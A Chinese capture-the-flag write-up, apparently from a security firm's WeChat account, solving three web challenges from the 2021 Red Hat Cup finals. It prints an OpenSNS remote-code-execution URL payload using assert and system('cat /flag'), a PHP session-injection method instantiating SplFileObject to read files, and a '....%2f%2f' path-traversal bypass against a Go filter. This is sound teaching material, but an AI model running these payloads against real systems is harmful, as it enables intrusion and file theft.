题目一:opensns
http://172.16.9.2:9006/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(%27cat%20/flag%27)
题目二:upload
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){
$temp = new $class($path);
if($class=='file'){
$filelist[] = (string)$temp;
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';
foreach ($filelist as $value){
$out .= $value.' ';
}
echo $out.'</p >';
$_SESSION['paths']
,就可以随意new $class($path)
,用SplFileObject读文件即可:<?php
session_start();
$_SESSION['paths'] = array();
$_SESSION['paths']["/flag"] = 'SplFileObject';
先生成一下session,得到 paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
根据实际位置跳目录写入到session
目录下sess_test,
然后再设置Cookie: PHPSESSID=test,
再访问即可。
题目三:alwaysBypass
r.GET("/images", func(c *gin.Context) {
if strings.Contains(c.Request.RequestURI, "../") {
c.String(http.StatusOK, "Illegal input")
} else {
images := c.DefaultQuery("file", "images.jpeg")
images = strings.ReplaceAll(images, "../", "")
fpath := filepath.Join("images", images)
if stat, err := os.Stat(fpath);err ==nil && stat.Size()<13448304 {
c.File(filepath.Join("images", images))
}
}
})
....%2f%2f
#!/bin/bash
service ssh start
export GIN_MODE=release
FLAG=flag{test_flag}
echo root:$FLAG|chpasswd
cd /web && ./web > /dev/null 2>&1 &
tail -f /dev/null
flag是在这里写入到root的密码里面,可以直接读这个文件拿flag:
当然因为是赛后复现,实际做题的时候也不排除出题人会把start改了。
如果您有意向加入我们,请留言: ),或邮件投递简历:[email protected]
本文始发于微信公众号(山石网科安全技术研究院):2021年第四届红帽杯线下赛WP| WEB部分全
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论